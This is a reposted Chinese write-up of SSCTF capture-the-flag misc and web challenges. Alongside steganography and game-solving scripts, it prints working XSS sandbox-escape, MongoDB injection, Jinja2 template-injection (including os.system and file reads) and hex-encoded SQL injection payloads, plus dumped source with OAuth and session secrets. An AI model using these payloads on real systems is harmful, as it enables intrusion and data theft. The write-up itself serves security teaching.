转载

SSCTF线上赛解题报告Part2(杂项部分&Web)

Misc100(Speed Data)

开始想多了,想到什么CVE什么Word漏洞上去了,后来想到才100分,想到可能是pdf隐写,所以在google上搜索pdf stego ,找了几个工具,其中一个工具叫Wbstego,直接解密了即可:

SSCTF线上赛解题报告Part2(杂项部分&Web)

SSCTF线上赛解题报告Part2(杂项部分&Web)

Misc200(Puzzle)

图片中的二维码得到

# flag = f[root]  # f[x] = d[x] xor max(f[lson(x)], f[rson(x)])                  : x isn't leaf  # f[x] = d[x]                                                     : x is leaf

wav 最后 1s 明显有杂音,发现藏了数据

去掉一半的 00 ,得到一个 7z ,剩下就是找口令了

尝试了各种 wav jpg 隐写,最后机智的队友居然在 1 54 秒左右听到杂音

在网上找了个大小为 38.5m 的渡口,进行波形比较,发现在 sample501800 靠后点有巨大的差异。

把那段数据截取出来, strings 看下,有这样一个字符串 {1L0vey0u*.*me}

利用这个口令解开了 7z

解开之后是 0 1 文件夹 ( 分别代表左右儿子),以及每个文件夹下有个 d (这是每个节点的数据)

先生成个目录,按照二叉树顺序存储结构的方式读取所有数据,脚本:

mululist=[] def readmulu():     fm=open('mulu.txt','rb')     while True:         line=fm.readline().strip('/x0d/x0a')         if line:             mululist.append(line+'d')         else:             break readmulu()  node=[]  ct=0 for ml in mululist:     ct+=1     #print ml     f=open(ml,'rb')     t=int(f.read()[2:],2)     #print t     node.append(t)  print ct  nodenum=127  def lson(x):     ret=x*2     if ret > nodenum:         print "l erro"         ret=0     return ret  def rson(x):     ret=(x*2)+1     if ret > nodenum:         print "r erro"         ret=0     return ret  def d(x):     if x <= nodenum:         return node[x-1]       def haveson(x):     if x*2<nodenum:         return 1     else:         return 0      def f(x):   if not haveson(x):         return d(x)   else:     l=0     r=0     rs=rson(x)     ls=lson(x)     if rs!=0:         r=f(rs)     if ls!=0:         l=f(ls)   return d(x)^max(l,r)  print hex(f(1)) ''' >>> s='53534354467b5353435446266e3163613163613126326f6936262a2e2a7d' >>> s.decode('hex') 'SSCTF{SSCTF&n1ca1ca1&2oi6&*.*}' ''' 

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

Misc300(Hungry Game)

这道题目是一个js写的游戏,最终目的是打boss。

在解题的过程中,有这么几层:

第一层:有一道过不去的门,提示找钥匙但是并不知道钥匙在哪。通过阅读game.js代码可以知道,游戏通过发送msg(‘next’, {}) 来进入下一关。所以果断打开浏览器控制台输入如下代码:

ws.send(JSON.stringify([msg('next', {})]));

即可进入下一层。

第二层:从这里开始游戏不允许直接跳关。游戏要求采集9999的木头,按住空格,1秒一个。然而游戏时间限制在5分钟,通常手段必然过不去。阅读game.js得知msg(‘wood’, {‘time’: tmp})为发送到服务器的数据,tmp是时间(毫秒),所以构造payload:

ws.send(JSON.stringify([msg('wood',{'time':100000000000000})]));ws.send(JSON.stringify([msg('next',{})]));

即可进入下一关。

第三层:游戏要求采集9999的钻石,按空格一下一个。采用和第二层相同的方式,发现服务器有检查,不能按得过快(也就是不能在一次内采集过多钻石),于是改为for循环形式:

for(var i=0;i<2000;i++){ws.send(JSON.stringify([msg('diamond',{'count':5})]))};ws.send(JSON.stringify([msg('next',{})]));

即可进入下一关。

第四层:这层是boss层,游戏要求玩家攻击boss15下,提示说近战武器无法伤到boss,经过测试发现玩家靠近boss即被秒杀。于是在远离boss的位置输入如下代码:

function attack(){ws.send(JSON.stringify([msg('attack',{'x':boss.x,'y':boss.y})]));setTimeout("attack()",1000);};attack();

等待15秒即可获得flag。

效果:

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

Misc400(Warrior And Tower III) —–比赛时未作出来,赛后做

这道题目到现在我也没搞懂…

这是道算法题目,是要玩一个捡肥皂的游戏。游戏开始从左到右有6个桩子,每个桩子旁边有一堆肥皂,玩家可以把任意块肥皂从某个桩子移动到下一个桩子,最后没有肥皂可以捡的玩家输掉游戏。

一开始一直在想怎么获胜,写了好几种方式然而都没有什么卵用,直到赛后队友告诉我这个是通过AI的bug来获得flag的:因为AI每次捡肥皂只能捡桩子周围两个距离以内的,但是AI还要捡完周围的,所以把肥皂连城一条线就能获胜。

……好吧

- -、然而并没有做出来,赛后搞定就当做纪念吧。

脚本:

#!/usr/bin/env python # -*- coding: utf-8 -*-  from pwn import * import sys  EMAIL = 'I won/'t give you this.' PWD = 'I won/'t give you this.' io = remote('socket.lab.seclover.com',23333)  def cls():    return  class GameSolver:  def __init__(self,io):   self.MAP = []   self.BLOCK = []   self.PIVOT = []   self.POSX = 0   self.POSY = 0   self.IO = io   self.MAXX = 0   self.MAXY = 0   self.PA_FOUND = 0   self.PA_RESULT = 0   self.PO_FOUND = 0   self.PO_RESULT = 0   return     def StartGame(self):   self.IO.recvuntil("Input 'start' to start the game/r/n")   self.IO.sendline('start/n')   self.ReadMap()   self.DumpInfo()   return     def ScanPivot(self,pos,id):   DIRECTION = [(0,-1),(0,1),(1,0),(-1,0)]   self.VISITED[pos[0]][pos[1]] = 1   for i in DIRECTION:    nextx = pos[0] + i[0]    nexty = pos[1] + i[1]    if self.MAP[nextx][nexty] == '@' and not self.VISITED[nextx][nexty]:     # self.MAP[nextx][nexty] = '0'     self.BLOCK[id].append((nextx,nexty))     self.ScanPivot((nextx,nexty),id)     # self.MAP[nextx][nexty] = '@'   return     def GetPivotAdjacentFreeSpace(self,pos):   DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]   DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]   self.VISITED[pos[0]][pos[1]] = 1   for i in DIRECTION:    nextx = pos[0] + i[0]    nexty = pos[1] + i[1]    if not self.VISITED[nextx][nexty]:     if self.MAP[nextx][nexty] == '@' and not self.PA_FOUND:      self.GetPivotAdjacentFreeSpace((nextx,nexty))     elif self.MAP[nextx][nexty] == '.':      adj = 0      for j in DIRECTIONJ:       kx = nextx + j[0]       ky = nexty + j[1]       if self.MAP[kx][ky] == '@': adj += 1      if adj > 1:       continue      self.PA_FOUND = 1      self.PA_RESULT = (nextx,nexty)      return     elif self.PA_FOUND:      return   return     def GetPivotOutsideBlock(self,pos):   #print pos   #DIRECTION = [(1,0),(-1,0),(0,-1),(0,1)]   #DIRECTIONJ = [(1,0),(-1,0),(0,-1),(0,1)]   DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]   DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]   self.VISITED[pos[0]][pos[1]] = 1   for i in DIRECTION:    nextx = pos[0] + i[0]    nexty = pos[1] + i[1]    #print 'Going ', (nextx,nexty)    if not self.VISITED[nextx][nexty] and self.MAP[nextx][nexty] == '@':     self.GetPivotOutsideBlock((nextx,nexty))     if self.PO_FOUND: return     for j in DIRECTIONJ:      kx = nextx + j[0]      ky = nexty + j[1]      if self.MAP[kx][ky] == '.':       self.PO_FOUND = 1       self.PO_RESULT = (nextx,nexty)       return   return     def GetPivotPos(self,id):   return self.PIVOT[id]    # FIXED  def ReadMap(self):      # init   self.MAP = []   self.BLOCK = []   self.PIVOT = []   self.POSX = 0   self.POSY = 0   map_buf = list(self.IO.recv(99999))   t = map_buf   try:    while map_buf[0] != '#':     map_buf.pop(0) # remove all dummy characters   except Exception,e:    print e, t    self.IO.interactive()   X = 0   Y = 0   while 1:    self.MAP.append([])    Y = 0    while 1:     ch = map_buf.pop(0)     #print ord(ch)     if ch == '/n':      self.MAXY = Y      break     self.MAP[X].append(ch)     Y += 1    X += 1    if len(map_buf) == 0: break      self.MAXX = X   # scan map for pivots   self.VISITED = []   for i in range(self.MAXX):    self.VISITED.append([])    for j in range(self.MAXY):     self.VISITED[i].append(0)      for i in range(self.MAXX):    for j in range(self.MAXY):     if self.MAP[i][j] == 'A':      self.POSX = i      self.POSY = j     elif self.MAP[i][j] == '$':      self.BLOCK.append([])      self.ScanPivot((i,j),len(self.PIVOT))      self.PIVOT.append((i,j))   return    def GotoPos(self,pos,ignoreBlocks=True):   print 'Going to', pos   path = ''   q = []   visit = []   for i in range(self.MAXX):    visit.append([])    for j in range(self.MAXY):     visit[i].append(0)   visit[self.POSX][self.POSY] = 1   q.append({'pos':(self.POSX,self.POSY,''),'prev':0})   DIRECTION = [(0,1,'l'),(1,0,'j'),(-1,0,'k'),(0,-1,'h')]   while len(q) > 0:    cur = q.pop(0)    if cur['pos'][0] == pos[0] and cur['pos'][1] == pos[1]:     while isinstance(cur,dict):      path = cur['pos'][2] + path      cur = cur['prev']     return path    for i in DIRECTION:     next_x = cur['pos'][0] + i[0]     next_y = cur['pos'][1] + i[1]     if not visit[next_x][next_y] and self.MAP[next_x][next_y] != '#' and self.MAP[next_x][next_y] != '$':      if not ignoreBlocks and self.MAP[next_x][next_y] == '@': continue      q.append({'pos':(next_x,next_y,i[2]),'prev':cur})      visit[next_x][next_y] = 1   # cannot get there   return ''     def SendCmd(self,cmd,interactive=False):   log.info("Cmd : " + cmd)   self.IO.sendline(cmd)   if interactive:    self.IO.interactive()   else:    self.ReadMap() # Reload Map    self.DumpInfo()   return    def DumpInfo(self):   print self.MAXX, self.MAXY   for i in range(self.MAXX):    for j in range(self.MAXY):     sys.stdout.write(self.MAP[i][j])    sys.stdout.write('/n')   print self.MAXY * '-'   '''   for i in self.PIVOT:    print 'PIVOT : ', i   for i in self.BLOCK:    print 'BLOCK : ', i   '''   return    def ClearVisited(self):   self.VISITED = []   for i in range(self.MAXX):    self.VISITED.append([])    for j in range(self.MAXY):     self.VISITED[i].append(0)   return    def MoveFromTo(self,f,t,num=-1):   k = num   if num == -1: k = 99999   for i in range(k):    if len(self.BLOCK[f]) == 0: break    self.PO_FOUND = 0    self.ClearVisited()    self.GetPivotOutsideBlock(self.GetPivotPos(f))    if self.PO_FOUND == 0:     log.warning("Cannot find an outside block!")     exit(0)    pos = self.PO_RESULT    self.SendCmd(self.GotoPos(pos) + 'L')    self.PA_FOUND = 0    self.ClearVisited()    self.GetPivotAdjacentFreeSpace(self.GetPivotPos(t))    if self.PA_FOUND == 0:     log.warning("Cannot find an outside block!")     exit(0)    pos = self.PA_RESULT    self.SendCmd(self.GotoPos(pos,False) + 'P')      return     def BackToOrigin(self,interactive=False):   self.SendCmd(self.GotoPos((1,1),True),interactive)   return     def CloseGame(self):   self.IO.close()   return     def Solve(self):   self.MoveFromTo(3,4,10)   self.BackToOrigin(True)   return  def main():  io.recvuntil('Email Addr :')  io.sendline(EMAIL)  io.recvuntil('Password   :')  io.sendline(PWD)    try:   Game = GameSolver(io)   Game.StartGame()   Game.Solve()   Game.CloseGame()  except Exception,e:   print e   io.interactive    return 0  if __name__ == '__main__':  main() 

效果:

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

Web

Web100(Up!Up!Up!)

一个上传,研究了半天都没解决,什么常规的方法都试过了,能改的属性都改过了,最后队友看了看包,来了句,可没可能在上传表单属性Content-Type: multipart/form-data;那里有个判断啊,瞬间觉得世界明亮了,于是就这么拿了flag!

Web200(Can YouHit Me?)

Gg了 一篇文章 ,然后肯定是测试最新那个了—但发现过滤了on、eval、alert等字符,双写绕过。

Payload:

http://960a23aa.seclover.com/index.php?xss={{'a'.coonnstructor.prototype.charAt=[].join;$evevalal('x=1}} };aleralertt(/ssctf_Nu1L/)//');}} 

Web300(Legend?Legend)

又是MMD。。。。。。。。。。 一篇文章

本来想测试下,结果貌似又被搅屎了,然后就报不了js错误直接跳回首页了,就拿最终的图吧。

然后就利用return构造,payload:

http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.getCollectionNames()),password:2};//&password=test

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.user.find()[0])};//&password=test

然后邮箱登录。。。我还问西瓜牛为啥没有flag。。。

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

翻了翻邮箱,找到~

Web400(Flag-Man)

一开始以为是cookie哪里改成赵日天= == = == = == = = =无力吐槽,然后在乌云看到 一篇文章 ,点击题目的login,发现name的value是你github账号名字,于是开了开脑洞:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }} {% endif %} {% endfor %} 

为了简短代码,

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}

得到索引是59

# 循环查看所有的模块 发现有os, __file__, __builtins__等,可以用open   {% for i in range(0, 10) %} {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i] }} {% endfor %}

但是要先知道当前文件名,所以

{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) }}

得到文件名  ssctf.py,然后读文件

{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py", "r").read() }}

得到

name:# -*- coding: utf-8 -*- from flask import Flask,abort,request,session,redirect,render_template_string import os import json import datetime import urllib import re import time import hashlib #import sqlite3 import threading from rauth.service import OAuth2Service BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = os.name =='nt' if DEBUG: WEBHOME = 'http://127.0.0.1/' else: WEBHOME = 'http://b525ac59.seclover.com/' github = OAuth2Service( name='github', base_url='https://api.github.com/', access_token_url='https://github.com/login/oauth/access_token', authorize_url='https://github.com/login/oauth/authorize', client_id= '6ad5ab3c971c740adf64', client_secret= 'd6aed929c3b9bf713a37435c117619dcd46194e1', ) app = Flask(__name__) app.debug = DEBUG app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl" app.flagman = (1,'flagman','SSCTF{dc28c39697058241d924be06462c2040}','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') # app.lastid = 1 # app.lock = threading.Lock() # def getnewid(): # app.lock.acquire() # app.lastid+=1 # newid = app.lastid # app.lock.release() # return newid # def dbinsert(name,uid,pic): # newid = getnewid() # app.user[newid] = (name,uid,pic) # return newid # def dbfind(user_id): # userinfo = app.user.get(user_id) # if userinfo: # return (user_id,)+userinfo # return None # def dbfind_uid(uid): # for u in app.user: # if app.user[u][1]==uid: # return (u,)+app.user[u] # return None # app.dbcon = sqlite3.connect(":memory:", check_same_thread=False) # app.dbcur = app.dbcon.cursor() # app.dbcur.executescript('''CREATE TABLE "user" ( # "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, # "name" TEXT, # "uid" TEXT, # "pic" TEXT # ) # ; # CREATE UNIQUE INDEX "id" # ON "user" ("id" ASC); # CREATE UNIQUE INDEX "uid" # ON "user" ("uid" ASC); # ''') # def dbinsert(name,uid,pic): # sql = '''INSERT INTO "user" ("name", "uid", "pic") VALUES (?,?,?);''' # app.dbcur.execute(sql,(name,uid,pic)) # app.dbcon.commit() # return app.dbcur.lastrowid # def dbfind(user_id): # sql = '''SELECT * FROM "user" where id = ?''' # rows = app.dbcur.execute(sql,(user_id,)) # for id,name,realuid,pic in rows: # return (id,name,realuid,pic) # return None # dbinsert('howmp','uid','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') @app.route('/user/') def user(): userinfo = session.get('info') if not userinfo: #session.pop('info') return "please login first. Powered by Flask/0.11.2" user_id,name,realuid,pic = userinfo if user_id == 1: user_id,name,realuid,pic = app.flagman name = str(name) pic = str(pic) template = u''' name:''' + name + ' uid:{{ realuid }} id:{{ user_id }}' #template += u" {{app.secret_key}}" return render_template_string(template,**(dict(globals(), **locals()))) @app.route('/') def index(): def _link(): params = {'redirect_uri': WEBHOME+'callback'} icon = u'' return """ %s """ % (github.get_authorize_url(**params), icon) html = """ %slogin only / and /user,no other pages! """ % _link() return html @app.route('/callback') def callback(): code = request.args.get('code') if not code: abort(401) data = dict(code=request.args['code'], redirect_uri=WEBHOME+'callback', ) try: auth = github.get_auth_session(data=data) me = auth.get('user').json() session['info']=[2,me['name'],me['id'],me['avatar_url']] return redirect('/user/') except Exception,e: return e if __name__ == '__main__': app.run(host='0.0.0.0',port=80) 

因为最后没截图了,就拿这当吧,当时拿到py源码发现有app.flagman- -改github昵称,利用 这篇文章 中的{{…….}}进行绕过:

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

访问下就行了:

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

Web500(AFSRC-Market)—– 比赛时未作出来,赛后做

比赛时没有发现给的 hint 竟然还有一个单词叫 is_number ,明显的是这个函数造成的过滤不严格,使得恶意数据通过十六进制插入数据库造成二次注入,代码的话首先测试的是 904 and 1=1 ,构造 payload http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d31 ,访问之后再 http://edb24e7c.seclover.com/userinfo.php的myinfo 下发现了 money SSCTF线上赛解题报告Part2(杂项部分&amp;Web) 尝试 904 and 1=0 money 变为   SSCTF线上赛解题报告Part2(杂项部分&amp;Web) ,报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆数据库名,构造 904 and 1=0 union select 1,2,SCHEMA_NAME,4 frominformation_schema.SCHEMATA limit 1,1;# ,得到 payload http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c534348454d415f4e414d452c342066726f6d20696e666f726d6174696f6e5f736368656d612e534348454d415441206c696d697420312c313b23 ,然后查表,构造 http://edb24e7c.seclover.com/add_cart.php?id=0x904and 1=0 union select 1,2,table_name,4 from information_schema.tables wheretable_schema=’web05′;# 得到 flag 表,爆字段数,构造 904 and 1=0 union select 1 from flag # ,依次 select 1 select1,2 ,发现在 select 1,2,3,4 的时候 SSCTF线上赛解题报告Part2(杂项部分&amp;Web) money 3 ,所以,得出结论, flag 表有四个字段,其中第三个字段上有东西,根据经验把目标锁定在 flag ,于是构造 904 and 1=0 union select 1,2,flag,4 from flag # ,得到的 payload http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c666c61672c342066726f6d20666c61672023 ,之后发现 ,得到数据库名 SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

于是访问 http://edb24e7c.seclover.com/2112jb1njIUIJ__tr_R/tips.txt 得到tips:

1 、Congratulationsfor you !You finished 80%,Come on continue!

2 、token=md5(md5(username)+salt)salt max lenght is 5(hexs)

3 、Add the MoneyGet the Flag

提示很明显了,根据提示,得到自己token然后爆破就可以了

首先找到表名, http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c7461626c655f6e616d652c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d27776562303527206c696d697420312c313b23 ,构造payload,得到user表,构造payload为904 and 1=0union select 1,2,token,4 from user  whereusername =’Albertchang’ #,访问 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c746f6b656e2c342066726f6d20757365722020776865726520757365726e616d65203d27416c626572746368616e67272023 后在money得到自己的token:4e35baffcafd958795c0efed53bfb080,然后写个脚本爆破首先对自己的用户名Albertchang进行md5为 18dda757bd3c9977b65d519a3cb81fbc ,然后写脚本,补上一到五个字符进行 md5

import hashlib def md5(str):     import hashlib     m = hashlib.md5()     m.update(str)     return m.hexdigest() li = [] s = '18dda757bd3c9977b65d519a3cb81fbc' chars = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] for i in chars :     li.append(s+i) for i in chars :     for j in chars :         li.append(s+i+j) for i in chars :     for j in chars :         for k in chars :             li.append(s+i+j+k) for i in chars :     for j in chars :         for k in chars :             for l in chars :                 li.append(s+i+j+k+l) for i in chars :     for j in chars :         for k in chars :             for l in chars :                 for m in chars :                     li.append(s+i+j+k+l+m) for i in li :     if md5(i) == '4e35baffcafd958795c0efed53bfb080' :         print i 

得到 18dda757bd3c9977b65d519a3cb81fbc8b76d ,所以 salt 8b76d 。之后 addmoney burp 抓包改一下 salt forward 就得到 flag 了:

SSCTF线上赛解题报告Part2(杂项部分&amp;Web)

原文  http://www.freebuf.com/news/special/97511.html
正文到此结束
Loading...